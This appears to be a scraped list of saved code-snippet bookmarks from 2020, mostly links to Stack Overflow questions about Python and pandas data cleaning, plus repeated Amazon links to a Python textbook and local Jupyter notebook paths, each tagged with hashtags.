Wed Aug 26 2020 18:40:27 GMT+0000 (UTC) https://stackoverflow.com/questions/736043/checking-if-a-string-can-be-converted-to-float-in-python

#python
bookmark
dashboard

Wed Aug 26 2020 10:01:20 GMT+0000 (UTC) https://stackoverflow.com/questions/13413590/how-to-drop-rows-of-pandas-dataframe-whose-value-in-a-certain-column-is-nan

#python
bookmark
dashboard

Wed Aug 26 2020 10:00:29 GMT+0000 (UTC) https://stackoverflow.com/questions/11174024/attributeerrorstr-object-has-no-attribute-read

#python
bookmark
dashboard

Mon Aug 24 2020 15:55:31 GMT+0000 (UTC) https://stackoverflow.com/questions/13413590/how-to-drop-rows-of-pandas-dataframe-whose-value-in-a-certain-column-is-nan

#python
bookmark
dashboard

Sun Aug 23 2020 10:22:22 GMT+0000 (UTC) https://stackoverflow.com/questions/22341271/get-list-from-pandas-dataframe-column

#python
bookmark
dashboard

Sun Aug 23 2020 10:16:43 GMT+0000 (UTC) https://stackoverflow.com/questions/13445241/replacing-blank-values-white-space-with-nan-in-pandas

#python
bookmark
dashboard

Sun Aug 23 2020 10:15:29 GMT+0000 (UTC) https://stackoverflow.com/questions/13445241/replacing-blank-values-white-space-with-nan-in-pandas

#python
bookmark
dashboard

Sun Aug 23 2020 10:15:12 GMT+0000 (UTC) https://stackoverflow.com/questions/40813581/replace-a-value-in-the-entire-pandas-data-frame

#python
bookmark
dashboard

Sat Aug 22 2020 22:23:14 GMT+0000 (UTC) https://stackoverflow.com/questions/25873772/how-to-filter-a-dataframe-of-dates-by-a-particular-month-day

#python
bookmark
dashboard

Fri Aug 14 2020 06:51:37 GMT+0000 (UTC) https://github.com/andymccurdy/redis-py/issues/1256

#redis #python #sentinel
bookmark
dashboard

Wed Aug 12 2020 22:05:29 GMT+0000 (UTC) https://stackoverflow.com/questions/47815140/check-if-multiple-columns-exist-in-a-df

#python
bookmark
dashboard

Wed Aug 12 2020 03:09:20 GMT+0000 (UTC) https://stackoverflow.com/questions/12595051/check-if-string-matches-pattern

#regex #python #match
bookmark
dashboard

Sun Aug 09 2020 11:54:19 GMT+0000 (UTC) https://stackoverflow.com/questions/28888730/pandas-change-day

#python
bookmark
dashboard

Sun Aug 09 2020 09:38:23 GMT+0000 (UTC) https://stackoverflow.com/questions/28694025/converting-a-datetime-column-back-to-a-string-columns-pandas-python

#python
bookmark
dashboard

Thu Aug 06 2020 08:57:00 GMT+0000 (UTC)

#python #pandas #data-cleaning
bookmark
dashboard

Wed Jul 29 2020 19:19:59 GMT+0000 (UTC) https://stackoverflow.com/questions/18713321/element-wise-addition-of-2-lists

#python
bookmark
dashboard

Fri Jul 24 2020 12:56:27 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=f9788605-6766-49b1-b966-4c7c269f2288&pd_rd_w=oV6YQ&pd_rd_wg=kSzf5&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=BBJNQXYRE82X8S5GDD2W&psc=1&refRID=BBJNQXYRE82X8S5GDD2W

#python
bookmark
dashboard

Tue Jul 21 2020 20:47:49 GMT+0000 (UTC) http://localhost:8888/notebooks/Desktop/for Jupyter/HW3/Exercise 3.ipynb

#python
bookmark
dashboard

Tue Jul 21 2020 19:59:28 GMT+0000 (UTC) http://localhost:8888/notebooks/Desktop/for Jupyter/Lesson3.ipynb

#python
bookmark
dashboard

Tue Jul 21 2020 19:28:03 GMT+0000 (UTC) http://localhost:8888/notebooks/Desktop/for Jupyter/HW check/Exercise 2b.ipynb

#python
bookmark
dashboard

Thu Jul 09 2020 13:14:43 GMT+0000 (UTC) https://stackoverflow.com/questions/59746080/count-max-consecutive-re-groups-in-a-string

#python
bookmark
dashboard

Tue Jun 30 2020 22:39:10 GMT+0000 (UTC)

#python #command
bookmark
dashboard

Mon Jun 29 2020 13:16:13 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python
bookmark
dashboard

Mon Jun 22 2020 13:35:43 GMT+0000 (UTC) https://stackoverflow.com/questions/1425493/convert-hex-to-binary

#python
bookmark
dashboard

Sun Jun 21 2020 20:14:12 GMT+0000 (UTC) https://stackoverflow.com/questions/62498842/custom-loss-in-keras-slow-at-compiling-and-fit

#python
bookmark
dashboard

Thu Jun 11 2020 12:57:24 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=ef9c42e9-dfb9-4aa7-bd28-d4ef80f17296&pd_rd_w=aAQyc&pd_rd_wg=p8R5U&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=Y77J2N1H3EECZQ618R8B&psc=1&refRID=Y77J2N1H3EECZQ618R8B

#python
bookmark
dashboard

Mon Jun 08 2020 12:40:22 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=ef9c42e9-dfb9-4aa7-bd28-d4ef80f17296&pd_rd_w=aAQyc&pd_rd_wg=p8R5U&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=Y77J2N1H3EECZQ618R8B&psc=1&refRID=Y77J2N1H3EECZQ618R8B

#python
bookmark
dashboard

Mon Jun 08 2020 12:33:50 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=ef9c42e9-dfb9-4aa7-bd28-d4ef80f17296&pd_rd_w=aAQyc&pd_rd_wg=p8R5U&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=Y77J2N1H3EECZQ618R8B&psc=1&refRID=Y77J2N1H3EECZQ618R8B

#python
bookmark
dashboard

Sun Jun 07 2020 12:58:31 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=2c1aff3f-60bb-490b-a2d0-dfc06d81970a&pd_rd_w=t9wy6&pd_rd_wg=Bmxlp&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=RTCDC9M99JAV7NJ30VVE&psc=1&refRID=RTCDC9M99JAV7NJ30VVE

#python
bookmark
dashboard

Sun Jun 07 2020 07:02:48 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=2c1aff3f-60bb-490b-a2d0-dfc06d81970a&pd_rd_w=t9wy6&pd_rd_wg=Bmxlp&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=RTCDC9M99JAV7NJ30VVE&psc=1&refRID=RTCDC9M99JAV7NJ30VVE

#python
bookmark
dashboard

Sun Jun 07 2020 06:07:28 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=2c1aff3f-60bb-490b-a2d0-dfc06d81970a&pd_rd_w=t9wy6&pd_rd_wg=Bmxlp&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=RTCDC9M99JAV7NJ30VVE&psc=1&refRID=RTCDC9M99JAV7NJ30VVE

#python
bookmark
dashboard

Sun Jun 07 2020 05:51:39 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=2c1aff3f-60bb-490b-a2d0-dfc06d81970a&pd_rd_w=t9wy6&pd_rd_wg=Bmxlp&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=RTCDC9M99JAV7NJ30VVE&psc=1&refRID=RTCDC9M99JAV7NJ30VVE

#python
bookmark
dashboard

Sun Jun 07 2020 05:42:45 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888/ref=pd_lpo_14_img_0/145-2038954-9524128?_encoding=UTF8&pd_rd_i=0134692888&pd_rd_r=2c1aff3f-60bb-490b-a2d0-dfc06d81970a&pd_rd_w=t9wy6&pd_rd_wg=Bmxlp&pf_rd_p=7b36d496-f366-4631-94d3-61b87b52511b&pf_rd_r=RTCDC9M99JAV7NJ30VVE&psc=1&refRID=RTCDC9M99JAV7NJ30VVE

#python
bookmark
dashboard

Sun Jun 07 2020 02:45:42 GMT+0000 (UTC)

#python
bookmark
dashboard

Fri Jun 05 2020 13:23:14 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python
bookmark
dashboard

Fri Jun 05 2020 12:49:02 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python
bookmark
dashboard

Fri Jun 05 2020 12:44:51 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python
bookmark
dashboard

Fri Jun 05 2020 12:41:10 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python
bookmark
dashboard

Fri May 29 2020 11:34:17 GMT+0000 (UTC) https://stackoverflow.com/questions/62084501/how-to-save-multiple-plots-as-seperate-png-files-with-names-in-python

#python
bookmark
dashboard

Fri May 29 2020 11:32:47 GMT+0000 (UTC) https://stackoverflow.com/questions/62084831/merge-a-single-list-of-dictionaries-with-the-same-key-value

#python
bookmark
dashboard

Fri May 29 2020 11:31:25 GMT+0000 (UTC) https://stackoverflow.com/questions/62084911/how-to-replace-values-of-each-cell-on-a-dataframe-without-looping-it

#python
bookmark
dashboard

Thu May 28 2020 21:57:47 GMT+0000 (UTC) https://stackoverflow.com/questions/11923317/creating-django-forms

#python
bookmark
dashboard

Wed May 27 2020 17:25:40 GMT+0000 (UTC) https://cmdlinetips.com/2018/01/how-to-read-entire-text-file-in-python/

#python
bookmark
dashboard

Wed May 27 2020 15:04:56 GMT+0000 (UTC) https://stackoverflow.com/questions/17351016/set-up-python-simplehttpserver-on-windows

#python
bookmark
dashboard

Tue May 26 2020 16:35:55 GMT+0000 (UTC)

#python
bookmark
dashboard

Mon May 25 2020 09:24:31 GMT+0000 (UTC) https://stackoverflow.com/questions/441147/how-to-subtract-a-day-from-a-date

#python
bookmark
dashboard

Fri May 15 2020 09:11:04 GMT+0000 (UTC) https://stackoverflow.com/questions/53460391/passing-a-date-as-a-url-parameter-to-a-flask-route

#python
bookmark
dashboard

Fri May 15 2020 06:32:03 GMT+0000 (UTC) https://stackoverflow.com/questions/1060279/iterating-through-a-range-of-dates-in-python

#python
bookmark
dashboard

Tue May 12 2020 22:59:54 GMT+0000 (UTC) https://stackoverflow.com/questions/50486643/get-path-of-parent-keys-and-indices-in-dictionary-of-nested-dictionaries-and-l

#python
bookmark
dashboard

Mon May 11 2020 22:20:25 GMT+0000 (UTC) https://scikit-learn.org/stable/modules/generated/sklearn.metrics.f1_score.html

#python
bookmark
dashboard

Mon May 11 2020 13:44:16 GMT+0000 (UTC) https://stackoverflow.com/questions/15501673/how-to-temporarily-disable-a-foreign-key-constraint-in-mysql

#django #python
bookmark
dashboard

Thu May 07 2020 16:15:18 GMT+0000 (UTC) https://www.analyticsvidhya.com/blog/2020/04/how-to-read-common-file-formats-python/

#python
bookmark
dashboard

Tue Apr 21 2020 12:00:59 GMT+0000 (UTC)

#python #python #else #elif #clauses
bookmark
dashboard

Tue Apr 21 2020 11:45:29 GMT+0000 (UTC) https://towardsdatascience.com/30-helpful-python-snippets-that-you-can-learn-in-30-seconds-or-less-69bb49204172

#python #python #lists #dictionary
bookmark
dashboard

Tue Apr 21 2020 11:15:59 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python #python #condition #ifstatement #elifstatement #elsestatement
bookmark
dashboard

Tue Apr 21 2020 10:34:57 GMT+0000 (UTC) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

#python #python #ifstatement #comparisonoperators
bookmark
dashboard

Tue Apr 21 2020 06:41:13 GMT+0000 (UTC)